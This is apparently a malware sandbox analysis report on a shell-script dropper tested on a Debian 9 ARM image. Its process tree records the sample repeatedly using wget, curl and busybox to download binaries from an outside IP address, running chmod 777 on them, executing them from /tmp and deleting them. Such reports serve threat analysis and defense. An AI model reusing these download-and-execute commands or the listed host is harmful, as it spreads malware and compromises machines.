Analysis

  • max time kernel
    17s
  • max time network
    18s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/11/2024, 01:57

General

  • Target
    d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
  • Size 10KB
  • Sample241108-cdnyys1rfv
  • SHA256 d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
    /tmp/d38041d0df75b22f18e6bb41d57d2f885cd496e4dd6665bbdec13f0527058982.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
          2⤵
            PID:651
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:670
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
            2⤵
              PID:678
            • /bin/chmod
              chmod 777 wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
              2⤵
              • File and Directory Permissions Modification
              PID:680
            • /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
              ./wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
              2⤵
              • Executes dropped EXE
              PID:681
            • /bin/rm
              rm wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
              2⤵
                PID:682
              • /usr/bin/wget
                wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
                2⤵
                  PID:683
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:684
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
                  2⤵
                    PID:691
                  • /bin/chmod
                    chmod 777 gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
                    2⤵
                    • File and Directory Permissions Modification
                    PID:696
                  • /tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
                    ./gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
                    2⤵
                    • Executes dropped EXE
                    PID:698
                  • /bin/rm
                    rm gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
                    2⤵
                      PID:699
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
                      2⤵
                        PID:701
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:710
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
                        2⤵
                          PID:717
                        • /bin/chmod
                          chmod 777 RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
                          2⤵
                          • File and Directory Permissions Modification
                          PID:723
                        • /tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
                          ./RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
                          2⤵
                          • Executes dropped EXE
                          PID:724
                        • /bin/rm
                          rm RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
                          2⤵
                            PID:726
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
                            2⤵
                              PID:727
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:736
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
                              2⤵
                                PID:742
                              • /bin/chmod
                                chmod 777 GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
                                2⤵
                                • File and Directory Permissions Modification
                                PID:743
                              • /tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
                                ./GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
                                2⤵
                                • Executes dropped EXE
                                PID:744
                              • /bin/rm
                                rm GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
                                2⤵
                                  PID:745
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
                                  2⤵
                                    PID:746
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:747
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
                                    2⤵
                                      PID:754
                                    • /bin/chmod
                                      chmod 777 EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:759
                                    • /tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
                                      ./EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
                                      2⤵
                                      • Executes dropped EXE
                                      PID:760
                                    • /bin/rm
                                      rm EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
                                      2⤵
                                        PID:761
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
                                        2⤵
                                          PID:763
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:771
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
                                          2⤵
                                            PID:778
                                          • /bin/chmod
                                            chmod 777 dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:784
                                          • /tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
                                            ./dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
                                            2⤵
                                            • Executes dropped EXE
                                            PID:785
                                          • /bin/rm
                                            rm dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
                                            2⤵
                                              PID:787
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
                                              2⤵
                                                PID:788
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:789
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
                                                2⤵
                                                  PID:790
                                                • /bin/chmod
                                                  chmod 777 nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:791
                                                • /tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
                                                  ./nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:792
                                                • /bin/rm
                                                  rm nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
                                                  2⤵
                                                    PID:793
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
                                                    2⤵
                                                      PID:794
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:795
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
                                                      2⤵
                                                        PID:796
                                                      • /bin/chmod
                                                        chmod 777 ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:797
                                                      • /tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
                                                        ./ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:798
                                                      • /bin/rm
                                                        rm ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
                                                        2⤵
                                                          PID:799
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
                                                          2⤵
                                                            PID:800
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:801
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
                                                            2⤵
                                                              PID:802
                                                            • /bin/chmod
                                                              chmod 777 J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:803
                                                            • /tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
                                                              ./J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:804
                                                            • /bin/rm
                                                              rm J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
                                                              2⤵
                                                                PID:805
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
                                                                2⤵
                                                                  PID:806
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:807
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
                                                                  2⤵
                                                                    PID:808
                                                                  • /bin/chmod
                                                                    chmod 777 WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:809
                                                                  • /tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
                                                                    ./WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:810
                                                                  • /bin/rm
                                                                    rm WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
                                                                    2⤵
                                                                      PID:811
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
                                                                      2⤵
                                                                        PID:812
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:813
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
                                                                        2⤵
                                                                          PID:814
                                                                        • /bin/chmod
                                                                          chmod 777 aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:815
                                                                        • /tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
                                                                          ./aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:816
                                                                        • /bin/rm
                                                                          rm aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
                                                                          2⤵
                                                                            PID:817
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
                                                                            2⤵
                                                                              PID:818
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:819
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.84.230/bins/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
                                                                              2⤵
                                                                                PID:820
                                                                              • /bin/chmod
                                                                                chmod 777 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:821
                                                                              • /tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
                                                                                ./0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:822
                                                                              • /bin/rm
                                                                                rm 0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
                                                                                2⤵
                                                                                  PID:823
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
                                                                                  2⤵
                                                                                    PID:824
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:825
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
                                                                                    2⤵
                                                                                      PID:827
                                                                                    • /bin/chmod
                                                                                      chmod 777 MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:829
                                                                                    • /tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
                                                                                      ./MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:830
                                                                                    • /bin/rm
                                                                                      rm MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
                                                                                      2⤵
                                                                                        PID:831
                                                                                      • /usr/bin/wget
                                                                                        wget http://87.120.84.230/bins/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
                                                                                        2⤵
                                                                                          PID:832

                                                                                      Network

                                                                                            MITRE ATT&CK Enterprise v15

                                                                                            Replay Monitor

                                                                                            Loading Replay Monitor...

                                                                                            Downloads

                                                                                            wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L

                                                                                            • Path /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
                                                                                            • Size 153B
                                                                                            • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                            • MD5 SHA1 SHA512